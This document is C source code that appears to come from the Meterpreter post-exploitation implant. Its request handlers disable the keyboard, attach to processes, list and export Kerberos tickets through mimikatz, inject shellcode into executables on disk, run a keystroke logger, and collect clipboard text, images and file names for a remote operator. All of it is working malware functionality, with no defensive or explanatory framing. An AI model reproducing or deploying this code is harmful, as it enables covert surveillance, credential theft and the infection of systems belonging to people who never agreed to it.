DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); BOOLEAN enable = FALSE; DWORD result = ERROR_SUCCESS; enable = packet_get_tlv_value_bool(request, TLV_TYPE_BOOL); // If there's no hook library loaded yet if (!hookLibrary) extract_hook_library(); // If the hook library is loaded successfully... if (hookLibrary) { DWORD(*enableKeyboardInput)(BOOL enable) = (DWORD(*)(BOOL))GetProcAddress( hookLibrary, "enable_keyboard_input"); if (enableKeyboardInput) result = enableKeyboardInput(enable); } else result = GetLastError(); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Attaches to the supplied process identifier. If no process identifier is * supplied, the handle for the current process is returned to the requestor. * * req: TLV_TYPE_PID - The process to attach to. */ DWORD request_sys_process_attach(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); // No pid? Use current. if (!pid) handle = GetCurrentProcess(); // Otherwise, attach. else { BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); handle = OpenProcess(permission, inherit, pid); } // If we have a handle, add it to the response if (handle) packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); else result = GetLastError(); // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Handler for the list kerberos tickets message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet) { DWORD result; Packet * response = packet_create_response(packet); BOOL bExport = packet_get_tlv_value_bool(packet, TLV_TYPE_KIWI_KERB_EXPORT); result = mimikatz_kerberos_ticket_list(bExport, response); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; Packet* response = packet_create_response(packet); if (response) { BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); if (shellcode != NULL) { dprintf("[PEINJECTOR] recived path: %s", target_executable_path); dprintf("[PEINJECTOR] recived shellcode: %s", shellcode); dprintf("[PEINJECTOR] recived size: %d", size); dprintf("[PEINJECTOR] is x64: %d", is_x64); PEINFECT infect; peinfect_init(&infect); __load_config(&infect, shellcode, size, is_x64); uint16_t arch = get_file_architecture(target_executable_path); dprintf("[PEINJECTOR] arch: %d", arch); if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) { if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) { dprintf("Shellcode injected successfully\n"); } else { dprintf("There was an error, shellcode not injected\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); } } else { dprintf("The architecture of the file is incompatible with the selected payload\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); } packet_transmit_response(dwResult, remote, response); } else { dprintf("[PEINJECTOR] Shellcode parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } } return dwResult; }
/* * core_channel_interact * --------------------- * * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with * req: TLV_TYPE_BOOL -- True if interactive, false if not. */ DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Channel *channel = NULL; DWORD channelId; DWORD result = ERROR_SUCCESS; BOOLEAN interact; // Get the channel identifier channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL); // If the channel is found, set the interactive flag accordingly if ((channel = channel_find_by_id(channelId))) { lock_acquire( channel->lock ); // If the response packet is valid if ((response) && (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED)) { NativeChannelOps *native = (NativeChannelOps *)&channel->ops; // Check to see if this channel has a registered interact handler dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context ); if (native->interact) { result = native->interact(channel, packet, native->context, interact); } } // Set the channel's interactive state channel_set_interactive(channel, interact); lock_release( channel->lock ); } // Send the response to the requestor so that the interaction can be // complete packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_ui_start_keyscan(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); DWORD result = ERROR_SUCCESS; bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW); // set appropriate logging function (track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key); if (KEYSCAN_RUNNING) { result = 1; } else { // Make sure we have access to the input desktop if (GetAsyncKeyState(0x0a) == 0) { // initialize g_keyscan_buf if (g_keyscan_buf) { free(g_keyscan_buf); g_keyscan_buf = NULL; } g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR)); tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL); KEYSCAN_RUNNING = true; } else { // No permission to read key state from active desktop result = 5; } } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Handle the request to get the data from the clipboard. * @details This function currently only supports the following clipboard data formats: * - CF_TEXT - raw text data. * - CF_DIB - bitmap/image information. * - CF_HDROP - file selection. * * Over time more formats will be supported. * @param remote Pointer to the remote endpoint. * @param packet Pointer to the request packet. * @return Indication of success or failure. * @todo Add support for more data formats. */ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult; HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; HMODULE hShell32 = NULL; PGLOBALLOCK pGlobalLock = NULL; PGLOBALUNLOCK pGlobalUnlock = NULL; POPENCLIPBOARD pOpenClipboard = NULL; PCLOSECLIPBOARD pCloseClipboard = NULL; PGETCLIPBOARDDATA pGetClipboardData = NULL; PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL; PDRAGQUERYFILEA pDragQueryFileA = NULL; PCREATEFILEA pCreateFileA = NULL; PCLOSEHANDLE pCloseHandle = NULL; PGETFILESIZEEX pGetFileSizeEx = NULL; HANDLE hSourceFile = NULL; PCHAR lpClipString = NULL; HGLOBAL hClipboardData = NULL; HDROP hFileDrop = NULL; UINT uFormat = 0; UINT uFileIndex = 0; UINT uFileCount = 0; CHAR lpFileName[MAX_PATH]; Tlv entries[2] = { 0 }; LARGE_INTEGER largeInt = { 0 }; LPBITMAPINFO lpBI = NULL; PUCHAR lpDIB = NULL; ConvertedImage image; BOOL bImageDownload = FALSE; DWORD dwWidth; DWORD dwHeight; Tlv imageTlv[3]; Packet *pResponse = packet_create_response(packet); do { dprintf("[EXTAPI CLIPBOARD] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll"); dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll"); if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock"); if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock"); if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard"); if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard"); if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData"); if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats"); if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll"); // Try to get a lock on the clipboard if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult); } dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data..."); while (uFormat = pEnumClipboardFormats(uFormat)) { if (uFormat == CF_TEXT) { // there's raw text on the clipboard if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL && (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) { dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString); pGlobalUnlock(hClipboardData); } } else if (uFormat == CF_DIB) { dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data"); // an image of some kind is on the clipboard if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL && (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) { dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions."); // grab the bitmap image size dwWidth = htonl(lpBI->bmiHeader.biWidth); dwHeight = htonl(lpBI->bmiHeader.biHeight); imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX; imageTlv[0].header.length = sizeof(UINT); imageTlv[0].buffer = (PUCHAR)&dwWidth; imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY; imageTlv[1].header.length = sizeof(UINT); imageTlv[1].buffer = (PUCHAR)&dwHeight; // only download the image if they want it bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight, bImageDownload ? "WILL" : "will NOT"); if (!bImageDownload) { packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2); } else { lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE); // TODO: add the ability to encode with multiple encoders and return the smallest image. if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) { dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA; imageTlv[2].header.length = image.dwImageBufferSize; imageTlv[2].buffer = (PUCHAR)image.pImageBuffer; packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3); // Just leaving this in for debugging purposes later on //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); //CloseHandle(hSourceFile); free(image.pImageBuffer); } else { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG"); } } pGlobalUnlock(hClipboardData); } else { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information"); } } else if (uFormat == CF_HDROP) { // there's one or more files on the clipboard dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard"); do { dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll"); if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA"); if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle"); if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx"); if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA"); if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll"); dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data"); if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL && (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) { uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0); dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount); for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) { if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) { dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName); memset(&entries, 0, sizeof(entries)); memset(&largeInt, 0, sizeof(largeInt)); entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME; entries[0].header.length = (DWORD)strlen(lpFileName) + 1; entries[0].buffer = (PUCHAR)lpFileName; entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE; entries[1].header.length = sizeof(QWORD); entries[1].buffer = (PUCHAR)&largeInt.QuadPart; if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) { if (pGetFileSizeEx(hSourceFile, &largeInt)) { largeInt.QuadPart = htonq(largeInt.QuadPart); } pCloseHandle(hSourceFile); } packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2); } } pGlobalUnlock(hClipboardData); } } while (0); } } dwResult = GetLastError(); pCloseClipboard(); } while (0); if (hShell32) FreeLibrary(hShell32); if (hKernel32) FreeLibrary(hKernel32); if (hUser32) FreeLibrary(hUser32); if (pResponse) packet_transmit_response(dwResult, remote, pResponse); return dwResult; #else return ERROR_NOT_SUPPORTED; #endif }